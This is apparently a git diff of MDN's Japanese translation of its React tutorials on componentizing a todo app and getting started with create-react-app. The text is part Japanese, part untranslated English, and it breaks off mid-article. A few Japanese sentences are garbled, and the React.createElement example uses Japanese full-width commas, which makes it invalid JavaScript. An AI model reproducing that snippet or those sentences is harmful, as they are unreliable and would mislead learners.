コンポーネントはすべてのタスクに <code>todo-0</code> という <code>id</code> 属性を与えています。これは悪い HTML です、なぜなら <a href="/en-US/docs/Web/HTML/Global_attributes/id">id 属性</a>は一意でなければならないからです (CSS や JavaScript などでドキュメントフラグメントの一意な識別子として使用されます)。つまり、各 <code>Todo</code> に対して一意の値を取る <code>id</code> プロップをコンポーネントに与えるべきです。</p> + +<p>最初と同じパターンに従うために、<code><Todo /></code> コンポーネントの各インスタンスに <code>todo-i</code> の形式で ID を与えてみましょう。<code>i</code> は毎回1つずつ大きくなっていきます。</p> + +<pre class="brush: js notranslate"><Todo name="Eat" completed={true} id="todo-0" /> +<Todo name="Sleep" completed={false} id="todo-1" /> +<Todo name="Repeat" completed={false} id="todo-2" /></pre> + +<p>ここで <code>Todo.js</code> に戻り、<code>id</code> プロップを使うようにします。これは <code><input /></code> 要素の <code>id</code> 属性の値とラベルの <code>htmlFor</code> 属性の値を置き換える必要があります。</p> + +<pre class="brush: js notranslate"><div className="c-cb"> + <input id={props.id} type="checkbox" defaultChecked={props.completed} /> + <label className="todo-label" htmlFor={props.id}> + {props.name} + </label> +</div></pre> + +<h2 id="ここまでは順調ですか？">ここまでは順調ですか？</h2> + +<p>今のところ React をうまく使っていますが、もっとうまくできるかもしれません！今のコードは反復的です。<code><Todo /></code> コンポーネントをレンダリングする3つの行はほぼ同じですが、1つだけ違う点があります: それぞれのプロップの値です。</p> + +<p>JavaScript のコアな能力の一つであるイテレーション（反復処理）を使えば、コードをクリーンアップすることができます。イテレーションを使うためには、まず自分のタスクを再考する必要があります。</p> + +<h2 id="データとしてのタスク">データとしてのタスク</h2> + +<p>それぞれのタスクには現在、3つの情報が含まれています: 名前、チェック済みかどうか、そして一意なIDです。このデータはうまくオブジェクトに変換されます。複数のタスクがあるので、このデータを表現するにはオブジェクトの配列が有効です。</p> + +<p>import の後 <code>ReactDOM.render()</code> より前の行で以下の <code>const</code> を作成してください。</p> + +<pre class="brush: js notranslate">const DATA = [ + { id: "todo-0", name: "Eat", completed: true }, + { id: "todo-1", name: "Sleep", completed: false }, + { id: "todo-2", name: "Repeat", completed: false } +];</pre> + +<p>次に、<code>tasks</code> という名前のプロップとして <code><App /></code> に <code>DATA</code> を渡します。<code>src/index.js</code> の最終行は以下のようになるはずです。</p> + +<pre class="brush: js notranslate">ReactDOM.render(<App tasks={DATA} />, document.getElementById("root"));</pre> + +<p>この配列は、App コンポーネントで <code>props.tasks</code> として利用できるようになりました。よかったら <code>console.log()</code> で確認してください。</p> + +<div class="blockIndicator note"> +<p><strong>注意</strong>: <code>ALL_CAPS</code> 定数名は JavaScript では特別な意味はありません; 他の開発者に「このデータはここで定義された後は変更されません」と伝えるための慣習です。</p> +</div> + +<h2 id="イテレーションによるレンダリング">イテレーションによるレンダリング</h2> + +<p>オブジェクトの配列をレンダリングするには、それぞれのオブジェクトを <code><Todo /></code> コンポーネントに変換しなければなりません。JavaScript では、データを別のものに変換するための配列メソッド <code>Array.prototype.map()</code> を提供しています。</p> + +<p>Above the return statement of <code>App()</code>, make a new <code>const</code> called <code>taskList</code> and use <code>map()</code> to transform it. Let's start by turning our <code>tasks</code> array into something simple: the <code>name</code> of each task:</p> + +<pre class="brush: js notranslate">const taskList = props.tasks.map(task => task.name);</pre> + +<p>Let’s try replacing all the children of the <code><ul></code> with <code>taskList</code>:</p> + +<pre class="brush: js notranslate"><ul + role="list" + className="todo-list stack-large stack-exception" + aria-labelledby="list-heading" +> + {taskList} +</ul></pre> + +<p>This gets us some of the way towards showing all the components again, but we’ve got more work to do: the browser currently renders each task's name as unstructured text. We’re missing our HTML structure — the <code><li></code> and its checkboxes and buttons!</p> + +<p><img alt="Our todo list app with the todo item labels just shown bunched up on one line" src="https://mdn.mozillademos.org/files/17257/todo-list-unstructured-names.png" style="border-style: solid; border-width: 1px; height: 627px; width: 856px;"></p> + +<p>To fix this, we need to return a <code><Todo /></code> component from our <code>map()</code> function — remember that JSX allows us to mix up JavaScript and markup structures! Let's try the following instead of what we have already:</p> + +<pre class="brush: js notranslate"> const taskList = props.tasks.map(task => <Todo />);</pre> + +<p>Look again at your app; now our tasks look more like they used to, but they’re missing the names of the tasks themselves. Remember that each task we map over has the <code>id</code>, <code>name</code>, and <code>checked</code> properties we want to pass into our <code><Todo /></code> component. If we put that knowledge together, we get code like this:</p> + +<pre class="brush: js notranslate">const taskList = props.tasks.map(task => ( + <Todo id={task.id} name={task.name} completed={task.completed} /> +));</pre> + +<p>Now the app looks like it did before, and our code is less repetitive.</p> + +<h2 id="Unique_keys">Unique keys</h2> + +<p>Now that React is rendering our tasks out of an array, it has to keep track of which one is which in order to render them properly. React tries to do its own guesswork to keep track of things, but we can help it out by passing a <code>key</code> prop to our <code><Todo /></code> components. <code>key</code> is a special prop that's managed by React – you cannot use the word <code>key</code> for any other purpose.</p> + +<p>Because keys should be unique, we're going to re-use the <code>id</code> of each task object as its key. Update your <code>taskList</code> constant like so:</p> + +<pre class="brush: js notranslate">const taskList = props.tasks.map(task => ( + <Todo + id={task.id} + name={task.name} + completed={task.completed} + key={task.id} + /> + ) +);</pre> + +<p><strong>You should always pass a unique key to anything you render with iteration.</strong> Nothing obvious will change in your browser, but if you do not use unique keys, React will log warnings to your console and your app may behave strangely!</p> + +<h2 id="Componentizing_the_rest_of_the_app">Componentizing the rest of the app</h2> + +<p>Now that we've got our most important component sorted out, we can turn the rest of our app into components. Remembering that components are either obvious pieces of UI, or reused pieces of UI, or both, we can make two more components:</p> + +<ul> + <li><code><Form/></code></li> + <li><code><FilterButton/></code></li> +</ul> + +<p>Since we know we need both, we can batch some of the file creation work together with a terminal command. Run this command in your terminal, taking care that you're in the root directory of your app:</p> + +<pre class="brush: bash notranslate">touch src/components/Form.js src/components/FilterButton.js</pre> + +<h3 id="The_<Form_>">The <code><Form /></code></h3> + +<p>Open <code>components/Form.js</code> and do the following:</p> + +<ul> + <li>Import <code>React</code> at the top of the file, like we did in <code>Todo.js</code>.</li> + <li>Make yourself a new <code>Form()</code> component with the same basic structure as <code>Todo()</code>, and export that component.</li> + <li>Copy the <code><form></code> tags and everything between them from inside <code>App.js</code>, and paste them inside <code>Form()</code>’s <code>return</code> statement.</li> + <li>Export <code>Form</code> at the end of the file.</li> +</ul> + +<p>Your <code>Form.js</code> file should read like this:</p> + +<pre class="brush: js notranslate">import React from "react"; + +function Form(props) { + return ( + <form> + <h2 className="label-wrapper"> + <label htmlFor="new-todo-input" className="label__lg"> + What needs to be done? + </label> + </h2> + <input + type="text" + id="new-todo-input" + className="input input__lg" + name="text" + autoComplete="off" + /> + <button type="submit" className="btn btn__primary btn__lg"> + Add + </button> + </form> + ); +} + +export default Form;</pre> + +<h3 id="The_<FilterButton_>">The <FilterButton /></h3> + +<p>Do the same things you did to create <code>Form.js</code> inside <code>FilterButton.js</code>, but call the component <code>FilterButton()</code> and copy the HTML for the first button inside the <code><div></code> element with the <code>class</code> of <code>filters</code> from <code>App.js</code> into the <code>return</code> statement.</p> + +<p>The file should read like this:</p> + +<pre class="brush: js notranslate">import React from "react"; + +function FilterButton(props) { + return ( + <button type="button" className="btn toggle-btn" aria-pressed="true"> + <span className="visually-hidden">Show </span> + <span>all </span> + <span className="visually-hidden"> tasks</span> + </button> + ); +} + +export default FilterButton;</pre> + +<div class="blockIndicator note"> +<p><strong>Note</strong>: You might notice that we are making the same mistake here as we first made for the <code><Todo /></code> component, in that each button will be the same. That’s fine! We’re going to fix up this component later on, in <a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_filtering_conditional_rendering#Back_to_the_filter_buttons">Back to the filter buttons</a>.</p> +</div> + +<h2 id="Importing_all_our_components">Importing all our components</h2> + +<p>Let's make use of our new components.</p> + +<p>Add some more <code>import</code> statements to the top of <code>App.js</code>, to import them.</p> + +<p>Then, update the <code>return</code> statement of <code>App()</code> so that it renders our components. When you’re done, <code>App.js</code> will read like this:</p> + +<pre class="brush: js notranslate">import React from "react"; +import Form from "./components/Form"; +import FilterButton from "./components/FilterButton"; +import Todo from "./components/Todo"; + +function App(props) { + const taskList = props.tasks.map(task => ( + <Todo + id={task.id} + name={task.name} + completed={task.completed} + key={task.id} + /> + ) + ); + return ( + <div className="todoapp stack-large"> + <Form /> + <div className="filters btn-group stack-exception"> + <FilterButton /> + <FilterButton /> + <FilterButton /> + </div> + <h2 id="list-heading">3 tasks remaining</h2> + <ul + role="list" + className="todo-list stack-large stack-exception" + aria-labelledby="list-heading" + > + {taskList} + </ul> + </div> + ); +} + +export default App;</pre> + +<p>With this in place, we’re <em>almost</em> ready to tackle some interactivity in our React app!</p> + +<h2 id="Summary">Summary</h2> + +<p>And that's it for this article — we've gone into some depth on how to break up your app nicely into components, end render them efficiently. Now we'll go on to look at how we handle events in React, and start adding some interactivity.</p> + +<p>{{PreviousMenuNext("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_todo_list_beginning","Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_events_state", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}}</p> + +<h2 id="In_this_module">In this module</h2> + +<ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction">Introduction to client-side frameworks</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Main_features">Framework main features</a></li> + <li>React + <ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_getting_started">Getting started with React</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_todo_list_beginning">Beginning our React todo list</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_components">Componentizing our React app</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_events_state">React interactivity: Events and state</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_filtering_conditional_rendering">React interactivity: Editing, filtering, conditional rendering</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_accessibility">Accessibility in React</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_resources">React resources</a></li> + </ul> + </li> + <li>Ember + <ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_getting_started">Getting started with Ember</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_structure_componentization">Ember app structure and componentization</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_interactivity_events_state">Ember interactivity: Events, classes and state</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_conditional_footer">Ember Interactivity: Footer functionality, conditional rendering</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_routing">Routing in Ember</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_resources">Ember resources and troubleshooting</a></li> + </ul> + </li> + <li>Vue + <ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_getting_started">Getting started with Vue</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component">Creating our first Vue component</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_rendering_lists">Rendering a list of Vue components</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_methods_events_models">Adding a new todo form: Vue events, methods, and models</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_styling">Styling Vue components with CSS</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_computed_properties">Using Vue computed properties</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_conditional_rendering">Vue conditional rendering: editing existing todos</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_refs_focus_management">Focus management with Vue refs</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_resources">Vue resources</a></li> + </ul> + </li> + <li>Svelte + <ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_getting_started">Getting started with Svelte</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_Todo_list_beginning">Starting our Svelte Todo list app</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_variables_props">Dynamic behavior in Svelte: working with variables and props</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_components">Componentizing our Svelte app</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_reactivity_lifecycle_accessibility">Advanced Svelte: Reactivity, lifecycle, accessibility</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_stores">Working with Svelte stores</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_TypeScript">TypeScript support in Svelte</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_deployment_next">Deployment and next steps</a></li> + </ul> + </li> +</ul> diff --git a/files/ja/learn/tools_and_testing/client-side_javascript_frameworks/react_getting_started/index.html b/files/ja/learn/tools_and_testing/client-side_javascript_frameworks/react_getting_started/index.html new file mode 100644 index 0000000000..5114539cca --- /dev/null +++ b/files/ja/learn/tools_and_testing/client-side_javascript_frameworks/react_getting_started/index.html @@ -0,0 +1,468 @@ +--- +title: Reactをはじめる +slug: >- + Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_getting_started +tags: + - Beginner + - Frameworks + - JavaScript + - Learn + - React + - client-side +translation_of: >- + Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_getting_started +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Main_features","Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_todo_list_beginning", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}}</div> + +<p class="summary">この記事では React のはじめかたを説明します。Reactの背景と使い方について説明し、ローカル環境で基本的な React ツールチェーンを設定します。また、シンプルな基本アプリを作成して、React がどのようなプロセスで機能するのかを学んでいきます。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td> + <p><a href="/ja/docs/Learn/HTML">HTML</a>、<a href="/ja/docs/Learn/CSS">CSS</a>、<a href="/ja/docs/Learn/JavaScript">JavaScript</a> に精通していること、<a href="/ja/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Command_line">ターミナル/コマンドライン</a>に関する知識があること。</p> + + <p>React は JSX (JavaScript と XML) と呼ばれる HTML-in-JavaScript を使用します。HTML と JavaScript の両方に精通していると、JSX の学習に役立ち、アプリケーションのバグが JavaScript に関連しているか、React のより具体的なドメインに関連しているかを特定するのに役立つます。</p> + </td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>ローカルの React 開発環境をセットアップし、開始アプリを作成して、それがどのように機能するかの基本を理解する</td> + </tr> + </tbody> +</table> + +<h2 id="Hello_React" name="Hello_React">React の基礎</h2> + +<p>公式のキャッチフレーズにあるように、<a href="https://reactjs.org/">React</a> はユーザーインターフェイスを構築するためのライブラリーです。React はフレームワークではなく、ウェブに限定されるものでもありません。他のライブラリーと共に使用して、特定の環境にレンダリングしますます。たとえば、<a href="https://reactnative.dev/">React Native</a> はモバイルアプリケーションの構築に使用できます。<a href="https://facebook.github.io/react-360/">React 360</a> を使用して、仮想現実アプリケーションを構築できます。他にも可能性があります。</p> + +<p>ウェブ向けに構築するには、開発者は <a href="https://reactjs.org/docs/react-dom.html">ReactDOM</a> と連携してリアクトを使用します。リアクトと ReactDOM は、他の本当のウェブ開発フレームワークと同じ土台で議論さんくれ、同じような問題を解決するために用いられます。しかし React を「フレームワーク」と呼ぶとき、私たちはその口語的な理解に別途でいます。</p> + +<p>React が目指すところは、開発者がUIを構築しているときに発生するバグを最小限に抑えることです。これは、コンポーネント (ユーザーインターフェイスの一部を記述する自己完結型の論理的なコード) を使用して行われます。これらのコンポーネントを組み合わせて完全なUIを作成でき、React はレンダリング作業の大部分を抽象化して、UI デザインに集中できるようにします。</p> + +<h2 id="Use_cases" name="Use_cases">ユースケース</h2> + +<p>このモジュールで取り上げられている他のフレームワークとは異なり、React はコード規則やファイル編成に関する厳密なルールを適用しません。これにより、チームは自分に最適な規則を設定し、Reactを好きなように採用することができます。React は、単一のボタン、一部のインターフェース、またはアプリのユーザーインターフェース全体を処理できます。</p> + +<p>React は<a href="https://reactjs.org/docs/add-react-to-a-website.html">インターフェイスの一部</a>に適に用することが <em>できます</em> が、jQuery のようなライブラリーや Vue のようなフレームワークほどアプリケーションに「ドロップ」するのは簡単ではありません。React でアプリ全体を構築するのに適しています。</p> + +<p>さらに、JSX のインターフェースの作成など、React アプリの開発者体験にはコンパイルプロセスが必要とします。Babel のようなコンパイラーをウェブサイトに追加すると、コードの実行が遅くなるため、開発者はビルドステップでそのようなツールをセットアップすることがよくあります。間違いなく React には厳しいツール要件がありますが、学習することはできます。</p> + +<p>この記事では、Facebook 独自の<a href="https://create-react-app.dev/"> create-react-app</a> を使って、アプリケーションのインターフェイスを構築していきます。</p> + +<h2 id="How_does_React_use_JavaScript" name="How_does_React_use_JavaScript">ReactにおけるJavaScriptの書き方</h2> + +<p>Reactは、そのパターンの多くに最新の JavaScript の機能を利用しています。JavaScript からの最大の違いは、<a href="https://reactjs.org/docs/introducing-jsx.html">JSX</a> 構文を使うことです。JSX は JavaScript の構文を拡張して、HTML のようにコードを書くことができます。例えば:</p> + +<pre class="brush: js notranslate">const heading = <h1>Mozilla Developer Network </h1>;</pre> + +<p>この定数 heading は、<strong>JSX 式</strong>と呼ばれます。React はこのように <code><a href="/ja/docs/Web/HTML/Element/Heading_Elements"><h1></a></code> タグをレンダリングすることができます。</p> + +<p>セマンティックの観点で、 <code><a href="/ja/docs/Web/HTML/Element/header"><header></a></code> タグで、見出しを囲みたいとします。JSX では、HTML のように、要素を相互にネストできます。</p> + +<pre class="notranslate">const header = ( + <header> + <h1>Mozilla Developer Network</h1> + </header> +);</pre> + +<div class="blockIndicator note"> +<p><strong>注</strong>: このスニペットの括弧は JSX に固有のものではなく、あなたのアプリケーションに影響を与えません。それらは、あなた (またあなたのコンピューター) にとって、内部の複数行のコードが同じ式の一部であるという意味です。次のように header を定義することもできます。</p> + +<pre class="notranslate">const header = <header> + <h1>Mozilla Developer Network</h1> +</header></pre> + +<p>ただし、<code><a href="/ja/docs/Web/HTML/Element/header"><header></a></code> 式を開始するタグが、対応する終了タグと同じ位置にインデントされていないため、これは少し読みにくいかもしれません。</p> +</div> + +<p>もちろん、あなたのブラウザーはそのままでは JSX を読むことができません。(<a href="https://babeljs.io/">Babel</a> や <a href="https://parceljs.org/">Parcel</a> などのツールを使用して) コンパイルすると、ヘッダー式は次のようになります。</p> + +<pre class="brush: js notranslate">const header = React.createElement("header"、null、 + React.createElement("h1"、null、 "Mozilla Developer Network") +);</pre> + +<p>コンパイルステップとコンパイル自体をスキップし、<code><a href="https://reactjs.org/docs/react-api.html#createelement">React.createElement()</a></code> を使って、独自のUIを自分で書くこと。ただし、こうするとJSXの宣言的なメリットが失われ、コードが読みにくくなってしまいます。コンパイルは開発プロセスとは別のステップですが、Reactコミュニティの多くの開発者は、JSXの読みやすさに価値があると考えています。さらに、外部ツールにより、JSX から JavaScript へのコンパイルがセットアッププロセスの一部になります。特段の必要がない限り、コンパイルを自分の手で行う必要はありません。</p> + +<p>JSX は HTML と JavaScript がミックスされたものなので、一部の開発者にとっては直感的に使うことができます。しかしそうでない人にとってはは、そのミックスされていることで混乱させられると言います。ただし、慣れれば、ユーザーインターフェースをより迅速かつ直感的に構築できるようになり、他の人がコードを一目で理解しやすくなります。</p> + +<p>JSX の詳細については、React チームの <a href="https://reactjs.org/docs/jsx-in-depth.html">JSX In Depth</a> の記事をご覧ください。</p> + +<h2 id="Setting_up_your_first_React_app" name="Setting_up_your_first_React_app">最初の React アプリをセットアップする</h2> + +<p>React を使用する方法はたくさんありますが、前述のように、コマンドラインインターフェイス (CLI) ツールの create-react-app を使用します。これにより、いくつかのパッケージをインストールしていくつかを作成することにより、React アプリケーションの開発プロセスをスムーズにします。</p> + +<p><code><a href="/en-US/docs/Web/HTML/Element/script"><script></a></code> を HTML ファイルにコピーすることで <a href="https://reactjs.org/docs/add-react-to-a-website.html">create-react-app なしでウェブサイトに React を追加する</a>ことは可能ですが、create-react-app CLI は、React アプリケーションの一般的な始め方です。これを使うことで、アプリの作成に集中でき、セットアップに煩わされなくなります。</p> + +<h3 id="Requirements" name="Requirements">必要条件</h3> + +<p>create-react-app を使用するには、<a href="https://nodejs.org/en/">Node.js</a> をインストールする必要があります。長期サポート (LTS) バージョンを使用することをお勧めします。ノードには、npm (ノードパッケージマネージャー) および npx (ノードパッケージランナー) が含まれます。</p> + +<p>代わりに Yarn パッケージマネージャーを使用することもできますが、この一連のチュートリアルでは npm を使用するものとします。npm と yarn の詳細については、<a href="/ja/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Package_management">パッケージ管理の基本</a>を参照してください。</p> + +<p>Windows を使用している場合、このチュートリアルで言及されている端末コマンドを使用するには、Unix / macOS 端末と同等のソフトウェアをインストールする必要があります。<strong>Gitbash</strong> (<a href="https://gitforwindows.org/">Windows 用</a>の <a href="https://gitforwindows.org/">git ツールセットの</a>一部として提供) または <strong><a href="https://docs.microsoft.com/en-us/windows/wsl/about">Linux 用の Windows サブシステム</a></strong> (<strong>WSL</strong>) の両方が適しています。これら、および一般的な端末コマンドの詳細については、<a href="/ja/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Command_line">コマンドラインクラッシュコース</a>を参照してください。</p> + +<p>また、React と ReactDOM は、かなり近代的な一連のブラウザー (IE9 以降) でのみ機能するアプリを生成することにも注意してください。これらのチュートリアルを実行するときは、Firefox、Safari、Chrome などの最新のブラウザーを使用することをお勧めします。</p> + +<p>詳細については、以下も参照してください。</p> + +<ul> + <li><a href="https://nodejs.org/en/knowledge/getting-started/npm/what-is-npm/">nodejs.org の「npm とは」</a></li> + <li><a href="https://blog.npmjs.org/post/162869356040/introducing-npx-an-npm-package-runner">npm ブログの「npxの紹介」</a></li> + <li><a href="https://create-react-app.dev/">create-react-app のドキュメント</a></li> +</ul> + +<h3 id="Initializing_your_app" name="Initializing_your_app">アプリの初期化</h3> + +<p>create-react-app は引数を 1 つ取ります。アプリに付ける名前です。create-react-app はこの名前を使用して新しいディレクトリーを作成し、その中に必要なファイルを作成します。<code>cd</code> でアプリのハードドライブ上の場所に移動したことを確認してから、ターミナルで次のコマンドを実行します。</p> + +<pre class="brush: bash notranslate">npx create-react-app moz-todo-react</pre> + +<p>これは <code>moz-todo-react</code> ディレクトリーを作成し、その中でいくつかのことを行います:</p> + +<ul> + <li>アプリの機能に不可欠な npm パッケージをインストールします。</li> + <li>アプリケーションを起動および提供するためのスクリプトを記述します。</li> + <li>基本的なアプリアーキテクチャを定義するファイルとディレクトリーの構造を作成します。</li> + <li>コンピュータに git がインストールされている場合、ディレクトリーを git リポジトリーとして初期化します。</li> +</ul> + +<div class="blockIndicator note"> +<p><strong>注</strong>: Yarn パッケージマネージャーがインストールされている場合、create-react-app はデフォルトで npm の代わりにそれを使用します。両方のパッケージマネージャーがインストールされていて、明示的に NPM を使用したい場合、create-react-app を実行するときに <code>--use-npm</code> フラグを追加できます。</p> + +<pre class="brush: bash notranslate">npx create-react-app moz-todo-react --use-npm</pre> +</div> + +<p>create-react-app が機能している間、端末にいくつかのメッセージが表示されますが、正常な動作です！これには数分かかる場合がありますので、お茶でも作って待ってみましょう。</p> + +<p>プロセスが完了したら、<code>moz-todo-react</code>ディレクトリーへ <code>cd</code> して、コマンド <code>npm start</code> を実行します。create-react-app によってインストールされたスクリプトは、localhost:3000 のローカルサーバーで提供され始め、新しいブラウザータブでアプリを開きます。ブラウザーには次のように表示されます。</p> + +<p><img alt="デフォルトのcreate-react-app アプリケーションを示す、Firefox MacOS のスクリーンショット、localhost:3000を開く" src="https://mdn.mozillademos.org/files/17203/default-create-react-app.png" style="border-style: solid; border-width: 1px; height: 980px; width: 1600px;"></p> + +<h3 id="Application_structure" name="Application_structure">アプリケーションの構造</h3> + +<p>create-react-app は、React アプリケーションの開発に必要なすべてのものを提供します。初期のファイル構造は次のようになります。</p> + +<pre class="notranslate">moz-todo-react +├──README.md +├──node_modules +├──package.json +├──package-lock.json +├──.gitignore +├──public +│├──favicon.ico +│├──index.html +│└──manifest.json +└──src + ├──App.css + ├──App.js + ├──App.test.js + ├──index.css + ├──index.js + ├──logo.svg + └──serviceWorker.js</pre> + +<p><strong><code>src</code></strong> ディレクトリーはアプリケーションの実態ともいえるソースことがある場所で、私たちが触るのは主にこの部分です。</p> + +<p><strong><code>public</code></strong> ディレクトリーには、アプリを開発している間、ブラウザーによって読み込まれるファイルが含まれています。これらの中で最も重要なのは <code>index.html</code> です。React はこのファイルにコードを挿入して、ブラウザーで実行できるようにします。create-react-app 関数に役立つマークアップが他にもいくつかあるので、何をしているのかを理解していなければ、自分で編集しないように注意してください。このファイルの要素内の <code><a href="/ja/docs/Web/HTML/Element/title"><title></a></code> を変更して、アプリケーション自体のタイトルを反映させる必要があります。アクセシビリティ向上のためには正しいページタイトルが重要です。</p> + +<p><code>public</code> ディレクトリーは、アプリをビルドしてデプロイするときにも公開されます。このチュートリアルではデプロイ自体については説明しませんが、<a href="/ja/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Deployment">アプリのデプロイ</a>チュートリアルで説明されているものと同様のソリューションを使用できるはずです。</p> + +<p>この<code>package.json</code> ファイルには、Node.js / npm がプロジェクトを整理するために使用するプロジェクトに関する情報が含まれています。このファイルは React アプリケーションに固有のものではありません。create-react-app は単にそれを生成します。このチュートリアルを完了するためにこのファイルを理解する必要はまったくありませんが、詳しく知りたい場合は<a href="https://nodejs.org/en/knowledge/getting-started/npm/what-is-the-file-package-json/">「package.json ファイルとは」</a>を参照してください。</p> + +<h2 id="Exploring_our_first_React_component_—_<App>" name="Exploring_our_first_React_component_—_<App>">最初の React コンポーネント— <code><App/></code></h2> + +<p>React における、<strong>コンポーネント</strong>とはアプリの一部をレンダリングする再利用可能なモジュールを指します。これらのパーツは大きくても小さくてもかまいませんが、通常は明確に定義され、単一責務のもとに作られます。</p> + +<p>ブラウザーに表示されているように、<code>src/App.js</code> を開いて編集しましょう。このファイルには、最初のコンポーネント、<code>App</code>、その他の数行のコードが含まれています。</p> + +<pre class="notranslate">import React from 'react'; +import logo from './logo.svg'; +import './App.css'; + +function App() { + return ( + <div className="App"> + <header className="App-header"> + <img src={logo} className="App-logo" alt="logo" /> + <p> + Edit <code>src/App.js</code> and save to reload. + </p> + <a + className="App-link" + href="https://reactjs.org" + target="_blank" + rel="noopener noreferrer" + > + Learn React + </a> + </header> + </div> + ); +} +export default App;</pre> + +<p>この <code>App.js</code> ファイルは 3 つの主要な部分で構成されています。上部にいくつかの宣言されている <code><a href="/ja/docs/Web/JavaScript/Reference/Statements/import">import</a></code>、中央にある <code>App</code>、最下部にある <code><a href="/ja/docs/Web/JavaScript/Reference/Statements/export">export</a></code>。ほとんどの React コンポーネントはこのように書かれます。</p> + +<h3 id="Import_statements" name="Import_statements">ステートメントをインポートする</h3> + +<p><code>import</code> はファイルの先頭に宣言され、<code>App.js</code> が他の場所で定義されているコードを使用するのを許可します。これらをさらに詳しく見てみましょう。</p> + +<pre class="notranslate">import React from 'react'; +import logo from './logo.svg'; +import './App.css';</pre> + +<p>最初のステートメントは、React ライブラリー自体をインポートします。React は、作成する JSX を <code>React.createElement()</code> に変換するため、すべての React コンポーネントが <code>React</code> モジュールをインポートする必要があります。この手順をスキップすると、アプリケーションでエラーが発生します。</p> + +<p>2 番目のステートメントは、<code>'./logo.svg'</code> をインポートします。最初の <code>./</code> パスのと最後の拡張子 <code>.svg</code> に注意してください。これらはファイルがローカルであり、JavaScript ファイルではないことを示しています。実際、<code>logo.svg</code> ファイルは <code>src/</code> ディレクトリーにあります。</p> + +<p><code>React</code> モジュールのインポート時にパスや拡張子は記述しません—これはローカルファイルではないからです。代わりに、<code>package.json</code> ファイルに依存関係としてリストされます。このレッスンでは、この違いに注意してください。</p> + +<p>3番目のステートメントは、App コンポーネントに関連する CSS をインポートします。変数名も <code>from</code> ディレクティブもないことに注意してください。この特定のインポート構文は、JavaScript モジュール構文に特有のものではありません。Webpack から提供されるものです。create-react-app ツールは、すべての JavaScript ファイルをバンドルしてブラウザーに提供するために使用します。</p> + +<h3 id="The_App_component" name="The_App_component"><code>App</code> コンポーネント</h3> + +<p><code>import</code> の次に、<code>App</code> という名前の関数があります。ほとんどの JavaScript コミュニティは<code>helloWorld</code> のようなキャメルケース名を好みますが、React コンポーネントは <code>HelloWorld</code> のようなパスカルケース変数名を使用して、特定のJSX 要素が React コンポーネントであり、通常の HTML タグではないことを明確にしています。<code>App</code> 関数の名前を <code>app</code> に変更すると、ブラウザーにエラーが表示されます。</p> + 